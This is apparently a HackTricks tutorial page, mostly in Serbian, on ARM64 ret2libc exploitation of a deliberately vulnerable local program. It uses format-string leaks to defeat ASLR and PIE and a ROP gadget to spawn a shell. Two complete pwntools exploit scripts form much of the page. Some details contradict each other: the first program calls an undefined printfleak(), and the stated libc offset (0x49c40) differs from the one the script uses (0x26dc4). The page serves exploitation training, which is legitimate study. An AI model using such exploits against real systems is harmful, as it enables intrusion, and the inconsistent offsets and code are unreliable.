Ret2lib + Printf leak - ARM64

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ret2lib - NX bypass with ROP (no ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompajliraj bez canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Pronađi offset - x30 offset

Kreiranjem patterna sa pattern create 200, korišćenjem istog i proverom offset-a sa pattern search $x30 možemo videti da je offset 108 (0x6c).

Pogledom na disasembliranu main funkciju vidimo da želimo direktno skočiti na instrukciju koja poziva printf, čiji je offset od mesta gde je binary učitan 0x860:

Pronađi system i /bin/sh string

Pošto je ASLR onemogućen, adrese će uvek biti iste:

Pronađi Gadgets

Moramo imati u x0 adresu stringa /bin/sh i pozvati system.

Korišćenjem rooper pronađen je zanimljiv gadget:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Ovaj gadget će učitati x0 sa $sp + 0x18 i zatim učitati adrese x29 i x30 sa sp i skočiti na x30. Dakle, sa ovim gadget-om možemo kontrolisati prvi argument i zatim skočiti na system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL & PIE bypass pomoću printf leaks sa stack

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompajliraj bez canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE i ASLR ali bez canary

  • Runda 1:
  • Leak of PIE from stack
  • Iskoristiti bof da se vrati u main
  • Runda 2:
  • Leak of libc from the stack
  • ROP: ret2system

Printf leaks

Postavljanjem breakpoint-a pre poziva printf moguće je videti da na stacku postoje adrese za povratak u binary i takođe libc adrese:

Pokušavajući različite offset-e, %21$p može leak-ovati binary adresu (PIE bypass) a %25$p može leak-ovati libc adresu:

Razlika između libc leaked adrese i base adrese libc je 0x49c40.

x30 offset

Pogledajte prethodni primer jer je bof isti.

Pronađi Gadgets

Kao u prethodnom primeru, treba da imamo u x0 adresu stringa /bin/sh i pozovemo system.

Korišćenjem rooper-a pronađen je još jedan interesantan gadget:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Ovaj gadget će učitati x0 sa $sp + 0x78 i zatim učitati adrese x29 i x30 sa sp i skočiti na x30. Dakle, sa ovim gadgetom možemo kontrolisati prvi argument i zatim skočiti na system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks